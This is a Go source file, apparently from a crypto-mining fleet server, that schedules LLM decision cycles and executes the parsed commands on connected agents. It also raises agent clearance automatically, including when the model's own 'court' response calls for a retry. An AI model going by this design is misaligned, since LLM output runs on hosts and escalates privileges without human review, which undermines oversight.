AetherForge/server/internal/ai/scheduler.go

package ai

import (
	"context"
	"crypto/sha256"
	"encoding/hex"
	"log"
	"sync"
	"time"

	"crypto-miner-server/internal/clearance"
	"crypto-miner-server/internal/strategy"
)

// SnapshotProvider supplies live agent telemetry for decision cycles.
type SnapshotProvider interface {
	ConnectedAgentIDs() []string
	AgentSnapshot(agentID string) (AgentSnapshot, bool)
}

// CommandExecutor runs parsed fleet commands.
type CommandExecutor interface {
	Execute(agentID string, cmd Command) (summary string, err error)
}

// ConfigProvider reads current Fleet AI Control settings.
type ConfigProvider interface {
	AIConfig() Config
}

// DecisionStore persists decision audit rows.
type DecisionStore interface {
	InsertAIDecision(agentID, promptHash, response, commandsExecuted string, court *CourtDecisionMeta) error
}

// ClearanceElevator raises agent clearance for stuck-host recovery.
type ClearanceElevator interface {
	Level(agentID string) int
	RequestElevation(agentID string, toLevel int, reason, source string) (int, error)
}

// Scheduler runs periodic LLM decisions for online agents.
type Scheduler struct {
	cfg      ConfigProvider
	snap     SnapshotProvider
	exec     CommandExecutor
	store    DecisionStore
	court    CourtContext
	elevator ClearanceElevator
	stop     chan struct{}
	wg       sync.WaitGroup

	lastRunMu sync.Mutex
	lastRun   map[string]time.Time
}

func NewScheduler(cfg ConfigProvider, snap SnapshotProvider, exec CommandExecutor, store DecisionStore, court CourtContext, elevator ClearanceElevator) *Scheduler {
	return &Scheduler{
		cfg:      cfg,
		snap:     snap,
		exec:     exec,
		store:    store,
		court:    court,
		elevator: elevator,
		stop:     make(chan struct{}),
		lastRun:  make(map[string]time.Time),
	}
}

func (s *Scheduler) Start() {
	s.wg.Add(1)
	go s.loop()
}

func (s *Scheduler) Stop() {
	close(s.stop)
	s.wg.Wait()
}

func (s *Scheduler) loop() {
	defer s.wg.Done()
	ticker := time.NewTicker(5 * time.Second)
	defer ticker.Stop()
	for {
		select {
		case <-s.stop:
			return
		case <-ticker.C:
			s.tick()
		}
	}
}

// Tick runs one scheduler pass (exported for tests).
func (s *Scheduler) Tick() {
	s.tick()
}

// ResetLastRunForTest backs up lastRun so the next Tick runs immediately (tests only).
func (s *Scheduler) ResetLastRunForTest(agentID string, ago time.Duration) {
	s.lastRunMu.Lock()
	defer s.lastRunMu.Unlock()
	if s.lastRun == nil {
		s.lastRun = make(map[string]time.Time)
	}
	s.lastRun[agentID] = time.Now().Add(-ago)
}

func (s *Scheduler) tick() {
	if s.cfg == nil || s.snap == nil {
		return
	}
	cfg := s.cfg.AIConfig()
	if !cfg.Enabled {
		return
	}
	interval := time.Duration(cfg.IntervalSec) * time.Second
	if interval < time.Second {
		interval = 60 * time.Second
	}
	ids := s.snap.ConnectedAgentIDs()
	for i, agentID := range ids {
		if !s.shouldRun(agentID, interval, i) {
			continue
		}
		s.runAgent(context.Background(), agentID, cfg)
	}
}

func (s *Scheduler) shouldRun(agentID string, interval time.Duration, staggerIndex int) bool {
	s.lastRunMu.Lock()
	defer s.lastRunMu.Unlock()
	last, ok := s.lastRun[agentID]
	if !ok {
		offset := time.Duration(staggerIndex%max(1, int(interval/time.Second))) * time.Second
		if offset > 0 {
			s.lastRun[agentID] = time.Now().Add(-interval + offset)
		}
		return true
	}
	return time.Since(last) >= interval
}

func (s *Scheduler) markRun(agentID string) {
	s.lastRunMu.Lock()
	s.lastRun[agentID] = time.Now()
	s.lastRunMu.Unlock()
}

func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) {
	snap, ok := s.snap.AgentSnapshot(agentID)
	if !ok {
		return
	}
	s.maybeAutoElevate(agentID, snap, cfg)
	if s.elevator != nil {
		snap.ClearanceLevel = s.elevator.Level(agentID)
	}
	var systemPrompt, userPrompt string
	var courtMeta *CourtDecisionMeta
	useCourt := ShouldUseCourt(snap)
	if useCourt {
		atlasSummary := ""
		var phenotype *strategy.FleetPhenotype
		if s.court != nil {
			goos := firstNonEmpty(snap.GOOS, snap.Platform)
			atlasSummary = s.court.FailureAtlasSummary(snap.FingerprintKey, goos)
			if p, ok := s.court.BestPhenotype(snap.FingerprintKey, goos); ok {
				phenotype = p
			}
		}
		persona := NormalizePersona(cfg.Persona)
		bundle := BuildCourtPrompt(snap, atlasSummary, phenotype, persona)
		systemPrompt = bundle.SystemPrompt
		userPrompt = bundle.UserPrompt
		courtMeta = &CourtDecisionMeta{
			CourtSession:      true,
			ProsecutorSnippet: bundle.ProsecutorSnippet,
			DefenderSnippet:   bundle.DefenderSnippet,
		}
	} else {
		systemPrompt = PersonaSystemPrompt(cfg.Persona)
		userPrompt = BuildMissionPrompt(snap)
	}
	promptHash := hashPrompt(systemPrompt + "\n---\n" + userPrompt)

	decide := Decide
	if DecideFunc != nil {
		decide = DecideFunc
	}
	response, err := decide(ctx, cfg.Endpoint, cfg.Model, systemPrompt, userPrompt)
	if err != nil {
		log.Printf("[fleet-ai] agent %s decide: %v", agentID, err)
		if s.store != nil {
			_ = s.store.InsertAIDecision(agentID, promptHash, "", "error:"+err.Error(), courtMeta)
		}
		s.markRun(agentID)
		return
	}

	if courtMeta != nil {
		courtMeta.JudgeVerdict = ExtractJudgeVerdict(response)
	}
	cmds := ParseCommands(response)
	if useCourt {
		cmds = ExpandCourtCommands(cmds)
		s.ensureCourtRetryClearance(agentID, cmds)
	}
	results := make([]string, 0, len(cmds))
	for _, cmd := range cmds {
		if cmd.Type == CmdNoop {
			results = append(results, "ok")
			continue
		}
		if s.exec == nil {
			results = append(results, "no executor")
			continue
		}
		sum, execErr := s.exec.Execute(agentID, cmd)
		if execErr != nil {
			results = append(results, "err:"+execErr.Error())
		} else {
			results = append(results, sum)
		}
	}
	executed := FormatExecuted(cmds, results)
	if s.store != nil {
		_ = s.store.InsertAIDecision(agentID, promptHash, response, executed, courtMeta)
	}
	s.markRun(agentID)
}

const stuckHostFailedTierThreshold = 14

func (s *Scheduler) ensureCourtRetryClearance(agentID string, cmds []Command) {
	if !CourtCommandsNeedRetryElevation(cmds) || s.elevator == nil {
		return
	}
	if s.elevator.Level(agentID) >= CourtRetryClearanceLevel {
		return
	}
	if _, err := s.elevator.RequestElevation(agentID, CourtRetryClearanceLevel, "court-mandated retry", "ai_court"); err != nil {
		log.Printf("[fleet-ai] agent %s court retry clearance: %v", agentID, err)
	}
}

func (s *Scheduler) maybeAutoElevate(agentID string, snap AgentSnapshot, cfg Config) {
	if !cfg.AutoElevateClearance || s.elevator == nil {
		return
	}
	if !snap.Stuck || snap.FailedTierCount < stuckHostFailedTierThreshold {
		return
	}
	if s.elevator.Level(agentID) >= clearance.L4 {
		return
	}
	if _, err := s.elevator.RequestElevation(agentID, clearance.L4, "stuck host recovery", "ai_scheduler"); err != nil {
		log.Printf("[fleet-ai] agent %s clearance elevation: %v", agentID, err)
	}
}

func hashPrompt(prompt string) string {
	h := sha256.Sum256([]byte(prompt))
	return hex.EncodeToString(h[:8])
}

// DecideFunc allows tests to override LLM calls.
var DecideFunc func(ctx context.Context, endpoint, model, systemPrompt, userPrompt string) (string, error)

func max(a, b int) int {
	if a > b {
		return a
	}
	return b
}